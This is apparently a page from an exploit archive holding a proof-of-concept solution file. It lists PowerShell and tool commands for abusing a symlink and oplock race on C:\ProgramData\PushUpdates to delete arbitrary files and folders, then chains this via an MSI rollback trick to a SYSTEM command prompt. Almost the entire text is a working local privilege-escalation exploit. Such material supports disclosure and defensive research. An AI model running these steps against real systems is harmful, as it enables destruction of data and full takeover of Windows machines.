4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / solution.txt TXT
Arbitrary file deletion:

1. mkdir C:\ProgramData\PushUpdates; echo aaa > C:\ProgramData\PushUpdates\aaa.txt; echo bbb > C:\ProgramData\PushUpdates\bbb.txt; .\SetOpLock.exe C:\ProgramData\logs\log.txt
2. Remove-Item -Path C:\ProgramData\PushUpdates -Recurse; mkdir C:\ProgramData\PushUpdates; .\CreateMountPoint.exe C:\ProgramData\PushUpdates "\RPC Control"; .\CreateSymlink.exe "C:\ProgramData\PushUpdates\bbb.txt" 'C:\ProgramData\target.txt'

Arbitrary folder deletion:

1. mkdir C:\ProgramData\PushUpdates; echo aaa > C:\ProgramData\PushUpdates\aaa.txt; echo bbb > C:\ProgramData\PushUpdates\bbb.txt; .\SetOpLock.exe C:\ProgramData\logs\log.txt
2. Remove-Item -Path C:\ProgramData\PushUpdates -Recurse; mkdir C:\ProgramData\PushUpdates; .\CreateMountPoint.exe C:\ProgramData\PushUpdates "\RPC Control"; .\CreateSymlink.exe "C:\ProgramData\PushUpdates\bbb.txt" 'C:\ProgramData\target_folder::$INDEX_ALLOCATION'

Arbitrary file/folder deletion to SYSTEM Command Prompt:

1. Run FolderOrFileDeleteToSystem.exe (https://github.com/thezdi/PoC/tree/master/FilesystemEoPs) with SystemCmdLauncher.dll, Msi_Rollback.msi, and 5eeabb3.rbs in the same directory
2. mkdir C:\ProgramData\PushUpdates; echo aaa > C:\ProgramData\PushUpdates\aaa.txt; echo bbb > C:\ProgramData\PushUpdates\bbb.txt; .\SetOpLock.exe C:\ProgramData\logs\log.txt
3. Remove-Item -Path C:\ProgramData\PushUpdates -Recurse; mkdir C:\ProgramData\PushUpdates; .\CreateMountPoint.exe C:\ProgramData\PushUpdates "\RPC Control"; .\CreateSymlink.exe "C:\ProgramData\PushUpdates\bbb.txt" 'C:\Config.Msi::$INDEX_ALLOCATION'